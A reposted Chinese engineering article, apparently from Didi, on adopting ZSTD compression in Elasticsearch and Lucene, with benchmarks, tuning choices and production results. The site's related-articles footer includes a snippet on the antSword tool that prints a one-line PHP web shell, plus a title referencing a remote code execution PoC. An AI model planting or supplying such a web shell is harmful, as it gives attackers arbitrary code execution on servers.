如何让ES低成本、高性能?滴滴落地ZSTD压缩算法的实践分享

前文分别介绍了滴滴自研的ES强一致性多活是如何实现的、以及如何提升ES的性能潜力。由于滴滴ES日志场景每天写入量在5PB-10PB量级,写入压力和业务成本压力大,为了提升ES的写入性能,我们让ES支持ZSTD压缩算法,本篇文章详细展开滴滴在落地ZSTD压缩算法上的思考和实践。

// 背 景 //

ES通过索引(Index)对外提供数据检索能力,索引是用于组织和存储数据的逻辑单元。每个索引由若干个分片(shard)组成,每个分片就是一个Lucene索引,可以在不同的节点上进行分布式存储和并行处理,提高性能和可伸缩性。每个分片由一组段文件(segment)组成,段是分片中更小的存储和搜索单元,是一组物理文件,包含了检索需要的倒排索引(词项和文档ID的映射关系)和文档存储(字段值和其他元数据),如下图:

98a4d2bdec9aed3eeb161c710e8e4051.png

ES数据模型

Lucene作为ES的底层索引引擎,提供了灵活的数据检索能力,同时也导致CPU、存储占用较为严重。为实现降本增效,23年上半年,ES团队开启了Lucene压缩编码优化专项,通过改进存储层压缩算法,从而降低单位Document所占用的资源。本文概述了ES的底层索引文件,并介绍了Lucene存储压缩编码的优化。

// Lucene索引文件介绍 //

ES的压缩编码优化专项涉及到Lucene底层的文件存储,Lucene索引由一组Segment构成,每个Segment包含了一系列文件,重点文件类型如下图:

b20303e43bd25eb52b4f347fcbe666ee.png

  • 行存文件:包括原文存储文件和原文索引文件。原文存储文件,即.fdt文件。用户写入的原始数据都被存储于该文件中,因其占比大,为节约存储,Lucene在原文存储上支持LZ4压缩和ZIP压缩;原文索引文件,即.fdx文件,它存储了原文数据在原文存储文件中的位置信息,建立起了doc id和原文之间的联系,以支持快速访问和定位。

  • 列存文件:即.dvd文件,常被应用于一些OLAP分析引擎中。列存文件按列组织数据,不同Document中的同一列数据(Field),相邻存放在一起,这样可以加速该列聚合分析性查询。同时,相邻每列类型相同,在存储的时候可以进行统一性的编码优化,提高压缩率,减少存储磁盘空间的占用。

  • 索引相关文件:ES依靠分词产生倒排索引,使其具备强大的全文检索能力。索引相关文件中,重点文件包含:字典数据文件&倒排索引文件。字典数据文件,即.tim文件,通过用户配置的索引分词器,能够从用户数据中提取分词信息并存储在.tim文件中。同一列的分词信息,相邻存放,按块组织;倒排索引文件,即.doc文件,也被称为"倒排拉链表",它记录了每一个分词所关联的文档列表,能够实现快速的单词到文档的倒排查找。

// ZSTD压缩算法调研与分析 //

ES线上集群中资源比较紧张的主要是日志集群,集群写多读少,高峰期CPU使用率在85%左右,写入性能是它的主要瓶颈。通过调研可以发现原文存储文件的占比最大,基本都超过了30%,有些索引甚至超过了70%。由此,我们明确了索引文件压缩编码优化的重心。

目前滴滴ES线上采用的是7.6.0版本,对应的Lucene版本是8.4.0,该版本支持两种压缩策略:

  • BEST_SPEED,是ES索引默认的压缩算法,使用了LZ4压缩。压缩与解压速度快,CPU占用低,但压缩效果弱。    

  • BEST_COMPRESSION,使用了ZIP压缩。压缩与解压速度慢,CPU占用高,但压缩效果好。

Lucene的压缩算法仅针对占比最大的行存文件生效,其他文件通过自定义编码优化来降低存储。目前滴滴ES日志集群采用BEST_COMPRESSION压缩算法,通过ES压缩比测试发现,日志场景下,同一个索引采用ZIP比LZ4低20% ~ 40%的磁盘存储占用空间。但通过分析日志集群的CPU使用情况可以发现,ES压缩模块的CPU占比较高,一些日志集群甚至超过30%,如下图:

82f0a2c485f5502cfc61445a2bbd3fad.png

CPU损耗占比

在上述背景下,我们调研了ZSTD压缩算法,ZSTD(Zstandard)底层基于FSE编码实现,具有出色的压缩和解压速度。ZSTD算法的实现经过了高度优化,通过SIMD等指令集能够充分利用硬件并行性,同时编码过程大量依赖位移运算来完成状态的切换,以此提高处理速度。ZSTD采用字典压缩算法,通过引用字典中的匹配项,能够大大减少重复数据的存储空间,提高压缩比。与此同时,ZSTD采用多级压缩策略,在不同的压缩级别中应用不同的压缩算法,能够在不同的应用场景中灵活地平衡速度和压缩比。

为了验证它的性能,采用bamai线上1GB的日志文件做压缩性能测试,测试发现,ZSTD的压缩速度是ZIP的4.5倍,解压缩速度是ZIP的1.5倍,压缩比几乎持平,如下图所示,ZSTD压缩算法兼顾了LZ4压缩的"快"及ZIP压缩的"效果好"。

e43a0557bb5d283429a81f7a504e0b60.png

压缩算法对比

// ZSTD压缩算法落地 //

为了实现ZSTD在滴滴ES的落地,我们从以下方面着手:

源码开发

1、ES setting和engine扩展

ES通过setting给每个索引配置压缩格式,需要在ES setting中支持ZSTD压缩格式。ES会为每个shard初始化一个engine,不同的分片类型或状态对应不同的engine,例如索引close对应的是noop engine,DCDR从索引对应的following engine,需要在不同类型的engine上抽象并扩展它的ZSTD压缩能力。

2、Lucene CompressionMode 扩展

Lucene是一个由Java编写的全文搜索引擎库,而ZSTD算法是基于C++实现的,因此在Lucene端引入了zstd-jni来扩展ZSTD压缩能力。通过扩展CompressionMode,自定义ZStandardDecompressor和ZStandardCompressor来实现数据的按块压缩、解压缩。

参数调优

1、Chunk Size调优

行存文件内部是以Chunk形式组织的,Chunk Size通常为数十KB级别。滴滴ES7.6.0版本采用的是Lucene 8.4版本, LZ4压缩算法设置的Chunk Size为16kb,而ZIP压缩算法设置的是60kb。将索引设置为ZSTD压缩格式并导入一批线上数据后,压缩结果如表所示。

1e4b3d90edde88b9830d10a31429eb64.png

Chunk Size压缩比对表

增大ChunkSize可以获得一个更大的数据区间内的共享字典数据,从而获得更好的压缩效果。但这也会导致随机访问时延变大、CPU消耗进一步增大。为保证后期索引压缩格式切换为ZSTD时不会出现数据膨胀问题,ChunkSize采用的是60kb。

2、ZSTD压缩等级调优

ZSTD采用多级压缩策略,它 提供了从 1 到 22 的压缩等级,数值越大表示压缩比越高,但压缩和解压缩速度越慢、CPU损耗越高。设置不同的压缩等级,导入测试数据,压缩结果如下表所示:

263a4bfb115a36f7557a369c0e95c28f.png

压缩等级性能比对表

通过增大压缩等级能够降低存储,例如将压缩等级调整为9,.fdt文件能够下降10%左右的存储,索引整体存储下降5%,此时CPU损耗和ZIP基本持平。

ES线上日志集群写多读少,采用的都是物理机(SSD硬盘),集群高峰期CPU使用率超过80%,集群整体磁盘水位在55%左右,CPU使用率是它的瓶颈。因此,采用的压缩等级为3,该等级在速度和压缩比之间取得了较好的平衡,并且能够尽可能地降低集群CPU使用率。

其他

1、解决Lucene打包部分依赖加载失败问题,比如:Lucene采用ivy进行依赖管理,通过引入repo解决Lucene打包过程中Maven主仓库中找不到 org.restlet.jee jar的问题,如下图:

51adb8193b99feadb47681f5c351dd37.png

ivy依赖导入图

2、通过前置初始化zstd模块,解决ES运行时动态加载zstd-jni-jar失败问题。

3、通过扩展noop engine的ZSTD压缩能力,解决索引close场景ZSTD类型解析失败问题。

// 上线效果 //

经过三个月的实践与优化,目前已在16个集群上线了ES-ZSTD版本,并将日志集群全量索引(6w+)以及部分公共集群索引的压缩格式均切换为ZSTD,上线后所有日志集群高峰期CPU使用率平均降幅达到15%,使ES可以提供更高性能、更低成本的检索服务,主要效果如下:

更高性能

1、某日志集群A上线效果

ES某日志集群A上线ES-ZSTD版本并将全量索引切换压缩切换为ZSTD格式后,集群高峰期CPU使用率下降18%,写入reject同比下降50%。

4cfafb7624a1e87cca101cb6ff9b9ea5.png

集群CPU Idle图(集群A)

d85e419ac2e69709f6e34f3f21ddf0b1.png

DataNode写入reject图(集群A)

2、某超大日志索引M切换效果

ES某超大线上日志索引M压缩格式由ZIP切换为ZSTD后,写入条数不变的情况下,集群CPU使用率下降15%,写入性能提升25%。

6595c204985546c3c2187a8ae988c563.png

集群CPU Idle图(集群B)

90ea129f0d6d750607a1fc7e2e0dbf43.png

索引写入总耗时(索引M)

更低成本

1、LZ4压缩格式索引切换为ZSTD效果

ES日志集群还残留着部分LZ4压缩的日志索引,将这些日志索引切换为ZSTD压缩格式后,平均索引存储下降达到30%,如下图:

cbdc4a9796446de24816d76e3b4e4004.png

索引存储图

2、日志集群缩容

将索引压缩格式切换为ZSTD后,能够有效降低集群CPU,因此可以进行集群资源调整。目前已经缩容机器超过20台,仍在持续下线中。

// 总 结 //

ZSTD助力ES提供更高性能、更低成本的检索服务。之后也会陆续开启读写分离、ES大版本升级等项目,进一步助力业务发展。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/34944.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[excel]vlookup函数对相同的ip进行关联

一、需求(由于ip不可泄漏所以简化如下) 有两个sheet: 找到sheet1在sheet2中存在的ip,也就是找到有漏洞的ip 二、实现 vlookup函数有4个参数 第一个:当前表要匹配的列,选择第一个sheet当前行需要处理的ip即可 第二个:第二个shee…

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

深入浅出:MyBatis的使用方法及最佳实践

这里写目录标题 添加MyBatis框架⽀持配置连接字符串和MyBatis配置连接字符串配置 MyBatis 中的 XML 路径 添加业务代码创建数据库和表添加用户实体类添加 mapper 接⼝添加 UserMapper.xml添加 Service层添加 Controller层 增删改操作增加操作删除操作修改操作 添加MyBatis框架⽀…

JVM 基础

巩固基础&#xff0c;砥砺前行 。 只有不断重复&#xff0c;才能做到超越自己。 能坚持把简单的事情做到极致&#xff0c;也是不容易的。 JVM 类加载机制 JVM 类加载机制分为五个部分&#xff1a;加载&#xff0c;验证&#xff0c;准备&#xff0c;解析&#xff0c;初始化&am…

openCV使用c#操作摄像头

效果如下&#xff1a; 1.创建一个winform的窗体项目&#xff08;框架.NET Framework 4.7.2&#xff09; 2.Nuget引入opencv的c#程序包&#xff08;版本最好和我一致&#xff09; 3.后台代码 using System; using System.Collections.Generic; using System.ComponentModel;…

用友-NC-Cloud远程代码执行漏洞[2023-HW]

用友-NC-Cloud远程代码执行漏洞[2023-HW] 一、漏洞介绍二、资产搜索三、漏洞复现PoC小龙POC检测脚本: 四、修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#…

Leetcode-每日一题【剑指 Offer 24. 反转链表】

题目 定义一个函数&#xff0c;输入一个链表的头节点&#xff0c;反转该链表并输出反转后链表的头节点。 示例: 输入: 1->2->3->4->5->NULL输出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 节点个数 < 5000 解题思路 1.题目要求我们反转…

Windows下运行Tomcat服务时报GC Overhead Limit Exceeded

根本原因是在新建Tomcat作为Windows服务时&#xff0c;系统默认设置的堆内存太小了&#xff0c;我们打开/bin/service.bat文件&#xff0c;将如下图所示的默认值改大一些就好了 if "%JvmMs%" "" set JvmMs512 if "%JvmMx%" "" set J…

【考研复习】24王道数据结构课后习题代码|第3章栈与队列

文章目录 3.1 栈3.2 队列3.3 栈和队列的应用 3.1 栈 int symmetry(linklist L,int n){char s[n/2];lnode *pL->next;int i;for(i0;i<n/2;i){s[i]p->data;pp->next;}i--;if(n%21) pp->next;while(p&&s[i]p->data){i--;pp->next;}if(i-1) return 1;…

sentinel简单使用

核心demo&#xff1a; 1 引入依赖: <dependency><groupId>com.alibaba.csp</groupId><artifactId>sentinel-core</artifactId><version>1.8.0</version> </dependency>2 核心代码&#xff1a; 3 限流保护代码&#xff1a;…

【Megatron-DeepSpeed】张量并行工具代码mpu详解(四):张量并行版Embedding层及交叉熵的实现及测试

相关博客 【Megatron-DeepSpeed】张量并行工具代码mpu详解(四)&#xff1a;张量并行版Embedding层及交叉熵的实现及测试 【Megatron-DeepSpeed】张量并行工具代码mpu详解(三)&#xff1a;张量并行层的实现及测试 【Megatron-DeepSpeed】张量并行工具代码mpu详解(一)&#xff1a…

GitOps 与 DevOps:了解关键差异,为企业做出最佳选择

在软件开发领域&#xff0c;GitOps 和 DevOps 是加强协作和实现软件交付流程自动化的重要技术。虽然这两种模式都旨在提高软件开发生命周期的效率&#xff0c;但它们的核心原则和实施方式却各不相同。 本篇文章将帮助您了解 GitOps 和 DevOps 之间的差异、它们的工作流程&am…

新知识:Monkey 改进版之 App Crawler

原生Monkey 大家知道Monkey是Android平台上进行压力稳定性测试的工具&#xff0c;通过Monkey可以模拟用户触摸屏幕、滑动、按键等伪随机用户事件来对设备上的程序进行压力测试。而原生的Android Monkey存在一些缺陷&#xff1a; 事件太过于随机&#xff0c;测试有效性大打折扣…

【2023新教程】树莓派4B开机启动-树莓派第一次启动-树莓派不使用显示器启动-树莓派从购买到启动一步一步完全版!

背景 闲来无事&#xff0c;在咸鱼上买了一个树莓派4B。买来配件都十分齐全&#xff0c;于是就想着启动来测试一下。下面是树莓派无显示器第一次启动的全过程&#xff0c;包含安装系统。 网上的教程大多需要额外使用显示器、鼠标、键盘之类的外设。然而&#xff0c;树莓派本身就…

从一到无穷大 #10 讨论 Apache IoTDB 大综述中看到的优势和不足点

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 引言问题定义新技术数据模型schemalessTsfile设计双MemTable高级可扩展查询其他 IotD…

免费开源的多种人工智能项目,比如:训练一个模型,让人工智能玩王者荣耀

免费开源的多种人工智能项目&#xff0c;比如&#xff1a;训练一个模型&#xff0c;让人工智能玩王者荣耀。 全文大纲 PULSE - 该开源项目可以通过给图片增加像素点来实现去马赛克或高清化。 Depix - 给打了马赛克的文字去码。 TecoGAN - 给视频去马赛克或者进行超分辨率。 Sk…

计算机网络-专业术语

计算机网络-专业术语 实体 实体:任何可发送或接收信息的硬件或软件进程 对等实体:收发双方相同层次中的实体 协议 控制两个对等实体进行逻辑通信的规则的集合 协议三要素 语法 定义所交换的信息的格式 是用户数据与控制信息的结构和格式 语义 定义收发双方所需要完成的操作…

Kotlin 基础教程一

Kotlin 基本数据类型 Java | Kotlin byte Byte short Short int Int long Long float Float double Double boolean Boolean c…

LangChain-ChatGLM在WIndows10下的部署

LangChain-ChatGLM在WIndows10下的部署 参考资料 1、LangChain ChatGLM2-6B 搭建个人专属知识库中的LangChain ChatGLM2-6B 构建知识库这一节&#xff1a;基本的逻辑和步骤是对的&#xff0c;但要根据Windows和现状做很多调整。 2、没有动过model_config.py中的“LORA_MOD…

validation之自定义注解@Constraint

前言&#xff1a; 首先&#xff0c;接口参数校验应该都不陌生&#xff0c;大部分应该都会借助javax.validation进行快捷校验&#xff0c;一般都是在入参字段上添加NotNull、NotEmpty等&#xff0c;对于一些特殊的入参校验逻辑&#xff0c;可能不是很适用&#xff0c;现在介绍一…